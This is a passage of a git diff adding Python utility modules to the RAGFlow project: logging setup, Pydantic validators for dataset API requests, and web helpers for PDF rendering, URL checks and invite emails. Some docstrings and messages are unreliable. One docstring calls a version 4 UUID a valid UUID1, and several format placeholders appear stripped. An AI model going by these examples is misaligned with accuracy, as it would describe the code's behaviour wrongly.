+ os.path.dirname(os.path.realpath(__file__)),
+ os.pardir,
+ os.pardir,
+ )
+ )
+ return PROJECT_BASE
+
+def init_root_logger(logfile_basename: str, log_format: str = "%(asctime)-15s %(levelname)-8s %(process)d %(message)s"):
+ global initialized_root_logger
+ if initialized_root_logger:
+ return
+ initialized_root_logger = True
+
+ logger = logging.getLogger()
+ logger.handlers.clear()
+ log_path = os.path.abspath(os.path.join(get_project_base_directory(), "logs", f"{logfile_basename}.log"))
+
+ os.makedirs(os.path.dirname(log_path), exist_ok=True)
+ formatter = logging.Formatter(log_format)
+
+ handler1 = RotatingFileHandler(log_path, maxBytes=10*1024*1024, backupCount=5)
+ handler1.setFormatter(formatter)
+ logger.addHandler(handler1)
+
+ handler2 = logging.StreamHandler()
+ handler2.setFormatter(formatter)
+ logger.addHandler(handler2)
+
+ logging.captureWarnings(True)
+
+ LOG_LEVELS = os.environ.get("LOG_LEVELS", "")
+ pkg_levels = {}
+ for pkg_name_level in LOG_LEVELS.split(","):
+ terms = pkg_name_level.split("=")
+ if len(terms)!= 2:
+ continue
+ pkg_name, pkg_level = terms[0], terms[1]
+ pkg_name = pkg_name.strip()
+ pkg_level = logging.getLevelName(pkg_level.strip().upper())
+ if not isinstance(pkg_level, int):
+ pkg_level = logging.INFO
+ pkg_levels[pkg_name] = logging.getLevelName(pkg_level)
+
+ for pkg_name in ['peewee', 'pdfminer']:
+ if pkg_name not in pkg_levels:
+ pkg_levels[pkg_name] = logging.getLevelName(logging.WARNING)
+ if 'root' not in pkg_levels:
+ pkg_levels['root'] = logging.getLevelName(logging.INFO)
+
+ for pkg_name, pkg_level in pkg_levels.items():
+ pkg_logger = logging.getLogger(pkg_name)
+ pkg_logger.setLevel(pkg_level)
+
+ msg = f"{logfile_basename} log path: {log_path}, log levels: {pkg_levels}"
+ logger.info(msg)
+
+
+def log_exception(e, *args):
+ logging.exception(e)
+ for a in args:
+ if hasattr(a, "text"):
+ logging.error(a.text)
+ raise Exception(a.text)
+ else:
+ logging.error(str(a))
+ raise e
\ No newline at end of file
diff --git a/api/utils/validation_utils.py b/api/utils/validation_utils.py
new file mode 100644
index 0000000..caf3f09
--- /dev/null
+++ b/api/utils/validation_utils.py
@@ -0,0 +1,636 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from collections import Counter
+from typing import Annotated, Any, Literal
+from uuid import UUID
+
+from flask import Request
+from pydantic import (
+ BaseModel,
+ ConfigDict,
+ Field,
+ StringConstraints,
+ ValidationError,
+ field_validator,
+)
+from pydantic_core import PydanticCustomError
+from werkzeug.exceptions import BadRequest, UnsupportedMediaType
+
+from api.constants import DATASET_NAME_LIMIT
+
+
+def validate_and_parse_json_request(request: Request, validator: type[BaseModel], *, extras: dict[str, Any] | None = None, exclude_unset: bool = False) -> tuple[dict[str, Any] | None, str | None]:
+ """
+ Validates and parses JSON requests through a multi-stage validation pipeline.
+
+ Implements a four-stage validation process:
+ 1. Content-Type verification (must be application/json)
+ 2. JSON syntax validation
+ 3. Payload structure type checking
+ 4. Pydantic model validation with error formatting
+
+ Args:
+ request (Request): Flask request object containing HTTP payload
+ validator (type[BaseModel]): Pydantic model class for data validation
+ extras (dict[str, Any] | None): Additional fields to merge into payload
+ before validation. These fields will be removed from the final output
+ exclude_unset (bool): Whether to exclude fields that have not been explicitly set
+
+ Returns:
+ tuple[Dict[str, Any] | None, str | None]:
+ - First element:
+ - Validated dictionary on success
+ - None on validation failure
+ - Second element:
+ - None on success
+ - Diagnostic error message on failure
+
+ Raises:
+ UnsupportedMediaType: When Content-Type header is not application/json
+ BadRequest: For structural JSON syntax errors
+ ValidationError: When payload violates Pydantic schema rules
+
+ Examples:
+ >>> validate_and_parse_json_request(valid_request, DatasetSchema)
+ ({"name": "Dataset1", "format": "csv"}, None)
+
+ >>> validate_and_parse_json_request(xml_request, DatasetSchema)
+ (None, "Unsupported content type: Expected application/json, got text/xml")
+
+ >>> validate_and_parse_json_request(bad_json_request, DatasetSchema)
+ (None, "Malformed JSON syntax: Missing commas/brackets or invalid encoding")
+
+ Notes:
+ 1. Validation Priority:
+ - Content-Type verification precedes JSON parsing
+ - Structural validation occurs before schema validation
+ 2. Extra fields added via `extras` parameter are automatically removed
+ from the final output after validation
+ """
+ try:
+ payload = request.get_json() or {}
+ except UnsupportedMediaType:
+ return None, f"Unsupported content type: Expected application/json, got {request.content_type}"
+ except BadRequest:
+ return None, "Malformed JSON syntax: Missing commas/brackets or invalid encoding"
+
+ if not isinstance(payload, dict):
+ return None, f"Invalid request payload: expected object, got {type(payload).__name__}"
+
+ try:
+ if extras is not None:
+ payload.update(extras)
+ validated_request = validator(**payload)
+ except ValidationError as e:
+ return None, format_validation_error_message(e)
+
+ parsed_payload = validated_request.model_dump(by_alias=True, exclude_unset=exclude_unset)
+
+ if extras is not None:
+ for key in list(parsed_payload.keys()):
+ if key in extras:
+ del parsed_payload[key]
+
+ return parsed_payload, None
+
+
+def validate_and_parse_request_args(request: Request, validator: type[BaseModel], *, extras: dict[str, Any] | None = None) -> tuple[dict[str, Any] | None, str | None]:
+ """
+ Validates and parses request arguments against a Pydantic model.
+
+ This function performs a complete request validation workflow:
+ 1. Extracts query parameters from the request
+ 2. Merges with optional extra values (if provided)
+ 3. Validates against the specified Pydantic model
+ 4. Cleans the output by removing extra values
+ 5. Returns either parsed data or an error message
+
+ Args:
+ request (Request): Web framework request object containing query parameters
+ validator (type[BaseModel]): Pydantic model class for validation
+ extras (dict[str, Any] | None): Optional additional values to include in validation
+ but exclude from final output. Defaults to None.
+
+ Returns:
+ tuple[dict[str, Any] | None, str | None]:
+ - First element: Validated/parsed arguments as dict if successful, None otherwise
+ - Second element: Formatted error message if validation failed, None otherwise
+
+ Behavior:
+ - Query parameters are merged with extras before validation
+ - Extras are automatically removed from the final output
+ - All validation errors are formatted into a human-readable string
+
+ Raises:
+ TypeError: If validator is not a Pydantic BaseModel subclass
+
+ Examples:
+ Successful validation:
+ >>> validate_and_parse_request_args(request, MyValidator)
+ ({'param1': 'value'}, None)
+
+ Failed validation:
+ >>> validate_and_parse_request_args(request, MyValidator)
+ (None, "param1: Field required")
+
+ With extras:
+ >>> validate_and_parse_request_args(request, MyValidator, extras={'internal_id': 123})
+ ({'param1': 'value'}, None) # internal_id removed from output
+
+ Notes:
+ - Uses request.args.to_dict() for Flask-compatible parameter extraction
+ - Maintains immutability of original request arguments
+ - Preserves type conversion from Pydantic validation
+ """
+ args = request.args.to_dict(flat=True)
+ try:
+ if extras is not None:
+ args.update(extras)
+ validated_args = validator(**args)
+ except ValidationError as e:
+ return None, format_validation_error_message(e)
+
+ parsed_args = validated_args.model_dump()
+ if extras is not None:
+ for key in list(parsed_args.keys()):
+ if key in extras:
+ del parsed_args[key]
+
+ return parsed_args, None
+
+
+def format_validation_error_message(e: ValidationError) -> str:
+ """
+ Formats validation errors into a standardized string format.
+
+ Processes pydantic ValidationError objects to create human-readable error messages
+ containing field locations, error descriptions, and input values.
+
+ Args:
+ e (ValidationError): The validation error instance containing error details
+
+ Returns:
+ str: Formatted error messages joined by newlines. Each line contains:
+ - Field path (dot-separated)
+ - Error message
+ - Truncated input value (max 128 chars)
+
+ Example:
+ >>> try:
+ ... UserModel(name=123, email="invalid")
+ ... except ValidationError as e:
+ ... print(format_validation_error_message(e))
+ Field: - Message: - Value: <123>
+ Field: - Message: - Value:
+ """
+ error_messages = []
+
+ for error in e.errors():
+ field = ".".join(map(str, error["loc"]))
+ msg = error["msg"]
+ input_val = error["input"]
+ input_str = str(input_val)
+
+ if len(input_str) > 128:
+ input_str = input_str[:125] + "..."
+
+ error_msg = f"Field: <{field}> - Message: <{msg}> - Value: <{input_str}>"
+ error_messages.append(error_msg)
+
+ return "\n".join(error_messages)
+
+
+def normalize_str(v: Any) -> Any:
+ """
+ Normalizes string values to a standard format while preserving non-string inputs.
+
+ Performs the following transformations when input is a string:
+ 1. Trims leading/trailing whitespace (str.strip())
+ 2. Converts to lowercase (str.lower())
+
+ Non-string inputs are returned unchanged, making this function safe for mixed-type
+ processing pipelines.
+
+ Args:
+ v (Any): Input value to normalize. Accepts any Python object.
+
+ Returns:
+ Any: Normalized string if input was string-type, original value otherwise.
+
+ Behavior Examples:
+ String Input: " Admin " → "admin"
+ Empty String: " " → "" (empty string)
+ Non-String:
+ - 123 → 123
+ - None → None
+ - ["User"] → ["User"]
+
+ Typical Use Cases:
+ - Standardizing user input
+ - Preparing data for case-insensitive comparison
+ - Cleaning API parameters
+ - Normalizing configuration values
+
+ Edge Cases:
+ - Unicode whitespace is handled by str.strip()
+ - Locale-independent lowercasing (str.lower())
+ - Preserves falsy values (0, False, etc.)
+
+ Example:
+ >>> normalize_str(" ReadOnly ")
+ 'readonly'
+ >>> normalize_str(42)
+ 42
+ """
+ if isinstance(v, str):
+ stripped = v.strip()
+ normalized = stripped.lower()
+ return normalized
+ return v
+
+
+def validate_uuid1_hex(v: Any) -> str:
+ """
+ Validates and converts input to a UUID version 1 hexadecimal string.
+
+ This function performs strict validation and normalization:
+ 1. Accepts either UUID objects or UUID-formatted strings
+ 2. Verifies the UUID is version 1 (time-based)
+ 3. Returns the 32-character hexadecimal representation
+
+ Args:
+ v (Any): Input value to validate. Can be:
+ - UUID object (must be version 1)
+ - String in UUID format (e.g. "550e8400-e29b-41d4-a716-446655440000")
+
+ Returns:
+ str: 32-character lowercase hexadecimal string without hyphens
+ Example: "550e8400e29b41d4a716446655440000"
+
+ Raises:
+ PydanticCustomError: With code "invalid_UUID1_format" when:
+ - Input is not a UUID object or valid UUID string
+ - UUID version is not 1
+ - String doesn't match UUID format
+
+ Examples:
+ Valid cases:
+ >>> validate_uuid1_hex("550e8400-e29b-41d4-a716-446655440000")
+ '550e8400e29b41d4a716446655440000'
+ >>> validate_uuid1_hex(UUID('550e8400-e29b-41d4-a716-446655440000'))
+ '550e8400e29b41d4a716446655440000'
+
+ Invalid cases:
+ >>> validate_uuid1_hex("not-a-uuid") # raises PydanticCustomError
+ >>> validate_uuid1_hex(12345) # raises PydanticCustomError
+ >>> validate_uuid1_hex(UUID(int=0)) # v4, raises PydanticCustomError
+
+ Notes:
+ - Uses Python's built-in UUID parser for format validation
+ - Version check prevents accidental use of other UUID versions
+ - Hyphens in input strings are automatically removed in output
+ """
+ try:
+ uuid_obj = UUID(v) if isinstance(v, str) else v
+ if uuid_obj.version != 1:
+ raise PydanticCustomError("invalid_UUID1_format", "Must be a UUID1 format")
+ return uuid_obj.hex
+ except (AttributeError, ValueError, TypeError):
+ raise PydanticCustomError("invalid_UUID1_format", "Invalid UUID1 format")
+
+
+class Base(BaseModel):
+ model_config = ConfigDict(extra="forbid", strict=True)
+
+
+class RaptorConfig(Base):
+ use_raptor: Annotated[bool, Field(default=False)]
+ prompt: Annotated[
+ str,
+ StringConstraints(strip_whitespace=True, min_length=1),
+ Field(
+ default="Please summarize the following paragraphs. Be careful with the numbers, do not make things up. Paragraphs as following:\n {cluster_content}\nThe above is the content you need to summarize."
+ ),
+ ]
+ max_token: Annotated[int, Field(default=256, ge=1, le=2048)]
+ threshold: Annotated[float, Field(default=0.1, ge=0.0, le=1.0)]
+ max_cluster: Annotated[int, Field(default=64, ge=1, le=1024)]
+ random_seed: Annotated[int, Field(default=0, ge=0)]
+
+
+class GraphragConfig(Base):
+ use_graphrag: Annotated[bool, Field(default=False)]
+ entity_types: Annotated[list[str], Field(default_factory=lambda: ["organization", "person", "geo", "event", "category"])]
+ method: Annotated[Literal["light", "general"], Field(default="light")]
+ community: Annotated[bool, Field(default=False)]
+ resolution: Annotated[bool, Field(default=False)]
+
+
+class ParserConfig(Base):
+ auto_keywords: Annotated[int, Field(default=0, ge=0, le=32)]
+ auto_questions: Annotated[int, Field(default=0, ge=0, le=10)]
+ chunk_token_num: Annotated[int, Field(default=512, ge=1, le=2048)]
+ delimiter: Annotated[str, Field(default=r"\n", min_length=1)]
+ graphrag: Annotated[GraphragConfig, Field(default_factory=lambda: GraphragConfig(use_graphrag=False))]
+ html4excel: Annotated[bool, Field(default=False)]
+ layout_recognize: Annotated[str, Field(default="DeepDOC")]
+ raptor: Annotated[RaptorConfig, Field(default_factory=lambda: RaptorConfig(use_raptor=False))]
+ tag_kb_ids: Annotated[list[str], Field(default_factory=list)]
+ topn_tags: Annotated[int, Field(default=1, ge=1, le=10)]
+ filename_embd_weight: Annotated[float | None, Field(default=0.1, ge=0.0, le=1.0)]
+ task_page_size: Annotated[int | None, Field(default=None, ge=1)]
+ pages: Annotated[list[list[int]] | None, Field(default=None)]
+
+
+class CreateDatasetReq(Base):
+ name: Annotated[str, StringConstraints(strip_whitespace=True, min_length=1, max_length=DATASET_NAME_LIMIT), Field(...)]
+ avatar: Annotated[str | None, Field(default=None, max_length=65535)]
+ description: Annotated[str | None, Field(default=None, max_length=65535)]
+ embedding_model: Annotated[str | None, Field(default=None, max_length=255, serialization_alias="embd_id")]
+ permission: Annotated[Literal["me", "team"], Field(default="me", min_length=1, max_length=16)]
+ chunk_method: Annotated[
+ Literal["naive", "book", "email", "laws", "manual", "one", "paper", "picture", "presentation", "qa", "table", "tag"],
+ Field(default="naive", min_length=1, max_length=32, serialization_alias="parser_id"),
+ ]
+ parser_config: Annotated[ParserConfig | None, Field(default=None)]
+
+ @field_validator("avatar", mode="after")
+ @classmethod
+ def validate_avatar_base64(cls, v: str | None) -> str | None:
+ """
+ Validates Base64-encoded avatar string format and MIME type compliance.
+
+ Implements a three-stage validation workflow:
+ 1. MIME prefix existence check
+ 2. MIME type format validation
+ 3. Supported type verification
+
+ Args:
+ v (str): Raw avatar field value
+
+ Returns:
+ str: Validated Base64 string
+
+ Raises:
+ PydanticCustomError: For structural errors in these cases:
+ - Missing MIME prefix header
+ - Invalid MIME prefix format
+ - Unsupported image MIME type
+
+ Example:
+ ```python
+ # Valid case
+ CreateDatasetReq(avatar="data:image/png;base64,iVBORw0KGg...")
+
+ # Invalid cases
+ CreateDatasetReq(avatar="image/jpeg;base64,...") # Missing 'data:' prefix
+ CreateDatasetReq(avatar="data:video/mp4;base64,...") # Unsupported MIME type
+ ```
+ """
+ if v is None:
+ return v
+
+ if "," in v:
+ prefix, _ = v.split(",", 1)
+ if not prefix.startswith("data:"):
+ raise PydanticCustomError("format_invalid", "Invalid MIME prefix format. Must start with 'data:'")
+
+ mime_type = prefix[5:].split(";")[0]
+ supported_mime_types = ["image/jpeg", "image/png"]
+ if mime_type not in supported_mime_types:
+ raise PydanticCustomError("format_invalid", "Unsupported MIME type. Allowed: {supported_mime_types}", {"supported_mime_types": supported_mime_types})
+
+ return v
+ else:
+ raise PydanticCustomError("format_invalid", "Missing MIME prefix. Expected format: data:;base64,")
+
+ @field_validator("embedding_model", mode="before")
+ @classmethod
+ def normalize_embedding_model(cls, v: Any) -> Any:
+ """Normalize embedding model string by stripping whitespace"""
+ if isinstance(v, str):
+ return v.strip()
+ return v
+
+ @field_validator("embedding_model", mode="after")
+ @classmethod
+ def validate_embedding_model(cls, v: str | None) -> str | None:
+ """
+ Validates embedding model identifier format compliance.
+
+ Validation pipeline:
+ 1. Structural format verification
+ 2. Component non-empty check
+ 3. Value normalization
+
+ Args:
+ v (str): Raw model identifier
+
+ Returns:
+ str: Validated @ format
+
+ Raises:
+ PydanticCustomError: For these violations:
+ - Missing @ separator
+ - Empty model_name/provider
+ - Invalid component structure
+
+ Examples:
+ Valid: "text-embedding-3-large@openai"
+ Invalid: "invalid_model" (no @)
+ Invalid: "@openai" (empty model_name)
+ Invalid: "text-embedding-3-large@" (empty provider)
+ """
+ if isinstance(v, str):
+ if "@" not in v:
+ raise PydanticCustomError("format_invalid", "Embedding model identifier must follow @ format")
+
+ components = v.split("@", 1)
+ if len(components) != 2 or not all(components):
+ raise PydanticCustomError("format_invalid", "Both model_name and provider must be non-empty strings")
+
+ model_name, provider = components
+ if not model_name.strip() or not provider.strip():
+ raise PydanticCustomError("format_invalid", "Model name and provider cannot be whitespace-only strings")
+ return v
+
+ # @field_validator("permission", mode="before")
+ # @classmethod
+ # def normalize_permission(cls, v: Any) -> Any:
+ # return normalize_str(v)
+
+ @field_validator("parser_config", mode="before")
+ @classmethod
+ def normalize_empty_parser_config(cls, v: Any) -> Any:
+ """
+ Normalizes empty parser configuration by converting empty dictionaries to None.
+
+ This validator ensures consistent handling of empty parser configurations across
+ the application by converting empty dicts to None values.
+
+ Args:
+ v (Any): Raw input value for the parser config field
+
+ Returns:
+ Any: Returns None if input is an empty dict, otherwise returns the original value
+
+ Example:
+ >>> normalize_empty_parser_config({})
+ None
+
+ >>> normalize_empty_parser_config({"key": "value"})
+ {"key": "value"}
+ """
+ if v == {}:
+ return None
+ return v
+
+ @field_validator("parser_config", mode="after")
+ @classmethod
+ def validate_parser_config_json_length(cls, v: ParserConfig | None) -> ParserConfig | None:
+ """
+ Validates serialized JSON length constraints for parser configuration.
+
+ Implements a two-stage validation workflow:
+ 1. Null check - bypass validation for empty configurations
+ 2. Model serialization - convert Pydantic model to JSON string
+ 3. Size verification - enforce maximum allowed payload size
+
+ Args:
+ v (ParserConfig | None): Raw parser configuration object
+
+ Returns:
+ ParserConfig | None: Validated configuration object
+
+ Raises:
+ PydanticCustomError: When serialized JSON exceeds 65,535 characters
+ """
+ if v is None:
+ return None
+
+ if (json_str := v.model_dump_json()) and len(json_str) > 65535:
+ raise PydanticCustomError("string_too_long", "Parser config exceeds size limit (max 65,535 characters). Current size: {actual}", {"actual": len(json_str)})
+ return v
+
+
+class UpdateDatasetReq(CreateDatasetReq):
+ dataset_id: Annotated[str, Field(...)]
+ name: Annotated[str, StringConstraints(strip_whitespace=True, min_length=1, max_length=DATASET_NAME_LIMIT), Field(default="")]
+ pagerank: Annotated[int, Field(default=0, ge=0, le=100)]
+
+ @field_validator("dataset_id", mode="before")
+ @classmethod
+ def validate_dataset_id(cls, v: Any) -> str:
+ return validate_uuid1_hex(v)
+
+
+class DeleteReq(Base):
+ ids: Annotated[list[str] | None, Field(...)]
+
+ @field_validator("ids", mode="after")
+ @classmethod
+ def validate_ids(cls, v_list: list[str] | None) -> list[str] | None:
+ """
+ Validates and normalizes a list of UUID strings with None handling.
+
+ This post-processing validator performs:
+ 1. None input handling (pass-through)
+ 2. UUID version 1 validation for each list item
+ 3. Duplicate value detection
+ 4. Returns normalized UUID hex strings or None
+
+ Args:
+ v_list (list[str] | None): Input list that has passed initial validation.
+ Either a list of UUID strings or None.
+
+ Returns:
+ list[str] | None:
+ - None if input was None
+ - List of normalized UUID hex strings otherwise:
+ * 32-character lowercase
+ * Valid UUID version 1
+ * Unique within list
+
+ Raises:
+ PydanticCustomError: With structured error details when:
+ - "invalid_UUID1_format": Any string fails UUIDv1 validation
+ - "duplicate_uuids": If duplicate IDs are detected
+
+ Validation Rules:
+ - None input returns None
+ - Empty list returns empty list
+ - All non-None items must be valid UUIDv1
+ - No duplicates permitted
+ - Original order preserved
+
+ Examples:
+ Valid cases:
+ >>> validate_ids(None)
+ None
+ >>> validate_ids([])
+ []
+ >>> validate_ids(["550e8400-e29b-41d4-a716-446655440000"])
+ ["550e8400e29b41d4a716446655440000"]
+
+ Invalid cases:
+ >>> validate_ids(["invalid"])
+ # raises PydanticCustomError(invalid_UUID1_format)
+ >>> validate_ids(["550e...", "550e..."])
+ # raises PydanticCustomError(duplicate_uuids)
+
+ Security Notes:
+ - Validates UUID version to prevent version spoofing
+ - Duplicate check prevents data injection
+ - None handling maintains pipeline integrity
+ """
+ if v_list is None:
+ return None
+
+ ids_list = []
+ for v in v_list:
+ try:
+ ids_list.append(validate_uuid1_hex(v))
+ except PydanticCustomError as e:
+ raise e
+
+ duplicates = [item for item, count in Counter(ids_list).items() if count > 1]
+ if duplicates:
+ duplicates_str = ", ".join(duplicates)
+ raise PydanticCustomError("duplicate_uuids", "Duplicate ids: '{duplicate_ids}'", {"duplicate_ids": duplicates_str})
+
+ return ids_list
+
+
+class DeleteDatasetReq(DeleteReq): ...
+
+
+class BaseListReq(BaseModel):
+ model_config = ConfigDict(extra="forbid")
+
+ id: Annotated[str | None, Field(default=None)]
+ name: Annotated[str | None, Field(default=None)]
+ page: Annotated[int, Field(default=1, ge=1)]
+ page_size: Annotated[int, Field(default=30, ge=1)]
+ orderby: Annotated[Literal["create_time", "update_time"], Field(default="create_time")]
+ desc: Annotated[bool, Field(default=True)]
+
+ @field_validator("id", mode="before")
+ @classmethod
+ def validate_id(cls, v: Any) -> str:
+ return validate_uuid1_hex(v)
+
+
+class ListDatasetReq(BaseListReq): ...
diff --git a/api/utils/web_utils.py b/api/utils/web_utils.py
new file mode 100644
index 0000000..55ce561
--- /dev/null
+++ b/api/utils/web_utils.py
@@ -0,0 +1,201 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import base64
+import ipaddress
+import json
+import re
+import socket
+from urllib.parse import urlparse
+
+from api.apps import smtp_mail_server
+from flask_mail import Message
+from flask import render_template_string
+from selenium import webdriver
+from selenium.common.exceptions import TimeoutException
+from selenium.webdriver.chrome.options import Options
+from selenium.webdriver.chrome.service import Service
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support.expected_conditions import staleness_of
+from selenium.webdriver.support.ui import WebDriverWait
+from webdriver_manager.chrome import ChromeDriverManager
+
+
+
+CONTENT_TYPE_MAP = {
+ # Office
+ "docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
+ "doc": "application/msword",
+ "pdf": "application/pdf",
+ "csv": "text/csv",
+ "xls": "application/vnd.ms-excel",
+ "xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
+ # Text/code
+ "txt": "text/plain",
+ "py": "text/plain",
+ "js": "text/plain",
+ "java": "text/plain",
+ "c": "text/plain",
+ "cpp": "text/plain",
+ "h": "text/plain",
+ "php": "text/plain",
+ "go": "text/plain",
+ "ts": "text/plain",
+ "sh": "text/plain",
+ "cs": "text/plain",
+ "kt": "text/plain",
+ "sql": "text/plain",
+ # Web
+ "md": "text/markdown",
+ "markdown": "text/markdown",
+ "htm": "text/html",
+ "html": "text/html",
+ "json": "application/json",
+ # Image formats
+ "png": "image/png",
+ "jpg": "image/jpeg",
+ "jpeg": "image/jpeg",
+ "gif": "image/gif",
+ "bmp": "image/bmp",
+ "tiff": "image/tiff",
+ "tif": "image/tiff",
+ "webp": "image/webp",
+ "svg": "image/svg+xml",
+ "ico": "image/x-icon",
+ "avif": "image/avif",
+ "heic": "image/heic",
+}
+
+
+def html2pdf(
+ source: str,
+ timeout: int = 2,
+ install_driver: bool = True,
+ print_options: dict = {},
+):
+ result = __get_pdf_from_html(source, timeout, install_driver, print_options)
+ return result
+
+
+def __send_devtools(driver, cmd, params={}):
+ resource = "/session/%s/chromium/send_command_and_get_result" % driver.session_id
+ url = driver.command_executor._url + resource
+ body = json.dumps({"cmd": cmd, "params": params})
+ response = driver.command_executor._request("POST", url, body)
+
+ if not response:
+ raise Exception(response.get("value"))
+
+ return response.get("value")
+
+
+def __get_pdf_from_html(path: str, timeout: int, install_driver: bool, print_options: dict):
+ webdriver_options = Options()
+ webdriver_prefs = {}
+ webdriver_options.add_argument("--headless")
+ webdriver_options.add_argument("--disable-gpu")
+ webdriver_options.add_argument("--no-sandbox")
+ webdriver_options.add_argument("--disable-dev-shm-usage")
+ webdriver_options.experimental_options["prefs"] = webdriver_prefs
+
+ webdriver_prefs["profile.default_content_settings"] = {"images": 2}
+
+ if install_driver:
+ service = Service(ChromeDriverManager().install())
+ driver = webdriver.Chrome(service=service, options=webdriver_options)
+ else:
+ driver = webdriver.Chrome(options=webdriver_options)
+
+ driver.get(path)
+
+ try:
+ WebDriverWait(driver, timeout).until(staleness_of(driver.find_element(by=By.TAG_NAME, value="html")))
+ except TimeoutException:
+ calculated_print_options = {
+ "landscape": False,
+ "displayHeaderFooter": False,
+ "printBackground": True,
+ "preferCSSPageSize": True,
+ }
+ calculated_print_options.update(print_options)
+ result = __send_devtools(driver, "Page.printToPDF", calculated_print_options)
+ driver.quit()
+ return base64.b64decode(result["data"])
+
+
+def is_private_ip(ip: str) -> bool:
+ try:
+ ip_obj = ipaddress.ip_address(ip)
+ return ip_obj.is_private
+ except ValueError:
+ return False
+
+
+def is_valid_url(url: str) -> bool:
+ if not re.match(r"(https?)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]", url):
+ return False
+ parsed_url = urlparse(url)
+ hostname = parsed_url.hostname
+
+ if not hostname:
+ return False
+ try:
+ ip = socket.gethostbyname(hostname)
+ if is_private_ip(ip):
+ return False
+ except socket.gaierror:
+ return False
+ return True
+
+
+def safe_json_parse(data: str | dict) -> dict:
+ if isinstance(data, dict):
+ return data
+ try:
+ return json.loads(data) if data else {}
+ except (json.JSONDecodeError, TypeError):
+ return {}
+
+
+def get_float(req: dict, key: str, default: float | int = 10.0) -> float:
+ try:
+ parsed = float(req.get(key, default))
+ return parsed if parsed > 0 else default
+ except (TypeError, ValueError):
+ return default
+
+
+INVITE_EMAIL_TMPL = """
+Hi {{email}},
+{{inviter}} has invited you to join their team (ID: {{tenant_id}}).
+Click the link below to complete your registration:
+{{invite_url}}
+If you did not request this, please ignore this email.
+"""
+
+def send_invite_email(to_email, invite_url, tenant_id, inviter):
+ from api.apps import app
+ with app.app_context():
+ msg = Message(subject="RAGFlow Invitation",
+ recipients=[to_email])
+ msg.html = render_template_string(
+ INVITE_EMAIL_TMPL,
+ email=to_email,
+ invite_url=invite_url,
+ tenant_id=tenant_id,
+ inviter=inviter,
+ )
+ smtp_mail_server.send(msg)
diff --git a/api/validation.py b/api/validation.py
new file mode 100644
index 0000000..b552b33
--- /dev/null
+++ b/api/validation.py
@@ -0,0 +1,49 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import logging
+import sys
+
+
+def python_version_validation():
+ # Check python version
+ required_python_version = (3, 10)
+ if sys.version_info < required_python_version:
+ logging.info(
+ f"Required Python: >= {required_python_version[0]}.{required_python_version[1]}. Current Python version: {sys.version_info[0]}.{sys.version_info[1]}."
+ )
+ sys.exit(1)
+ else:
+ logging.info(f"Python version: {sys.version_info[0]}.{sys.version_info[1]}")
+
+
+python_version_validation()
+
+
+# Download nltk data
+def download_nltk_data():
+ import nltk
+ nltk.download('wordnet', halt_on_error=False, quiet=True)
+ nltk.download('punkt_tab', halt_on_error=False, quiet=True)
+
+
+try:
+ from multiprocessing import Pool
+ pool = Pool(processes=1)
+ thread = pool.apply_async(download_nltk_data)
+ binary = thread.get(timeout=60)
+except Exception:
+ print('\x1b[6;37;41m WARNING \x1b[0m' + "Downloading NLTK data failure.", flush=True)
diff --git a/api/versions.py b/api/versions.py
new file mode 100644
index 0000000..6ba1e34
--- /dev/null
+++ b/api/versions.py
@@ -0,0 +1,52 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import subprocess
+
+RAGFLOW_VERSION_INFO = "unknown"
+
+
+def get_ragflow_version() -> str:
+ global RAGFLOW_VERSION_INFO
+ if RAGFLOW_VERSION_INFO != "unknown":
+ return RAGFLOW_VERSION_INFO
+ version_path = os.path.abspath(
+ os.path.join(
+ os.path.dirname(os.path.realpath(__file__)), os.pardir, "VERSION"
+ )
+ )
+ if os.path.exists(version_path):
+ with open(version_path, "r") as f:
+ RAGFLOW_VERSION_INFO = f.read().strip()
+ else:
+ RAGFLOW_VERSION_INFO = get_closest_tag_and_count()
+ LIGHTEN = int(os.environ.get("LIGHTEN", "0"))
+ RAGFLOW_VERSION_INFO += " slim" if LIGHTEN == 1 else " full"
+ return RAGFLOW_VERSION_INFO
+
+
+def get_closest_tag_and_count():
+ try:
+ # Get the current commit hash
+ version_info = (
+ subprocess.check_output(["git", "describe", "--tags", "--match=v*", "--first-parent", "--always"])
+ .strip()
+ .decode("utf-8")
+ )
+ return version_info
+ except Exception:
+ return "unknown"
diff --git a/conf/infinity_mapping.json b/conf/infinity_mapping.json
new file mode 100644
index 0000000..3e39044
--- /dev/null
+++ b/conf/infinity_mapping.json
